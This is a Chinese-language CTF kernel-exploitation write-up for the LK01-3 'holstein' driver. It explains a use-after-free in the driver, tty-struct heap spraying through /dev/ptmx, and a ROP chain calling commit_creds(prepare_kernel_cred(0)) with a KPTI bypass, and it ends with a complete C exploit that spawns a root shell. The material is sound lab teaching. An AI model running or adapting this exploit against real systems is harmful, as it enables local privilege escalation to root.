前言

UAF是用户态中常见的漏洞，在内核中同样存在UAF漏洞，都是由于对释放后的空间处理不当，导致被释放后的堆块仍然可以使用所造成的漏洞。

LK01-3

结合题目来看UAF漏洞

项目地址：https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3

open模块

在执行open模块时会分配0x400大小的堆空间，并将地址存储在g_buf中

#define BUFFER_SIZE 0x400
​
char *g_buf = NULL;
​
static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");
​
  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
​
  return 0;
}

read模块

在读模块中，会从用户空间中读取0x400字节到g_buf执行的堆空间中

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");
​
  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }
​
  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }
​
  return count;
}

write模块

在写模块中，会从用户空间拷贝400字节数据到内核堆空间中

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");
​
  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }
​
  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
​
  return count;
}

close模块

close模块会释放g_buf指向的堆块空间

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

漏洞分析

在读写模块中都限制了长度为0x400，这与一开始分配的堆空间大小一致，因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量，并且没有进行次数限制，那么就会导致多次调用open模块会使得存在多个指针指向同一块内存，若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。

当把g_buf释放掉后，通过fd2文件描述符同样能够操控g_buf的空间，问题是该如何劫持程序流程，由于堆空间是通过slab分配器进行分配的，而slab还可而已进行缓存，因此g_buf被释放后会放进缓存中，而g_buf的大小为0x400这与tty结构体一致，因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。

...
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
    for (int i = 0; i < 50; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
        {
            printf("error!\n");
            exit(-1);
        }
    }
...

这里我有一个疑惑的点，在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作，因此在执行close(fd1)之后，是不是还能对文件描述符fd1进行操作，后来试验之后发现不行，查询资料得到，文件描述符的移除是内核默认操作与重定义模块的close操作无关。

在构造出UAF漏洞并进行堆喷之后，实际操作的g_buf指向的是tty的结构体，该结构体偏移0x18是一个函数表的操作指针，那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致，将指针操作修改为栈迁移到堆上，然后就是执行commit_creds(prepare_kernel_cred(0))，利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
​
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; 
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
​
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset  0x638e9b
​
unsigned long user_cs, user_sp, user_ss, user_rflags;
​
​
​
void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}
​
void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n", user_rflags);
    printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
​
​
int main() {
    save_user_land();
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1);
    for (int i = 0; i < 50; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
        {
            printf("error!\n");
            exit(-1);
        }
    }
    char buf[0x400];
    read(fd2, buf, 0x400);
    unsigned long *p = (unsigned long *)&buf;
    //for (unsigned int i = 0; i < 0x80; i++)
    //  printf("[%x]:addr:0x%lx\n",i,p[i]);
    unsigned long kernel_addr = p[3];
    unsigned long heap_addr = p[7];
    printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
    unsigned long kernel_base = kernel_addr - 0xc39c60;
    unsigned long g_buf = heap_addr - 0x38;
    printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
    *(unsigned long *)&buf[0x18] = g_buf;
    p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
    //for (unsigned long i = 0xd; i < 0x80; i++)
    //  p[i] = i;
    p[0x21] = pop_rdi_ret_offset + kernel_base;
    p[0x22] = 0;
    p[0x23] = prepare_kernel_cred_offset + kernel_base;
    p[0x24] = pop_rcx_ret_offset + kernel_base;
    p[0x25] = 0;
    p[0x26] = mov_rdi_rax_offset + kernel_base;
    p[0x27] = commit_creds_offset + kernel_base;
    p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
    p[0x29] = 0;
    p[0x2a] = 0;
    p[0x2b] = (unsigned long)backdoor;
    p[0x2c] = user_cs;
    p[0x2d] = user_rflags;
    p[0x2e] = user_sp;
    p[0x2f] = user_ss;  
    write(fd2, buf, 0x400);
    for (int i = 0; i < 50; i++)
        ioctl(spray[i], 0, g_buf+0x100);    
        
}